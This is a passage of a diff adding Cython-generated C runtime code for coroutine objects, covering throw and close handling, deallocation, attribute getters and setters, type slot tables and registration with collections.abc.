__pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & 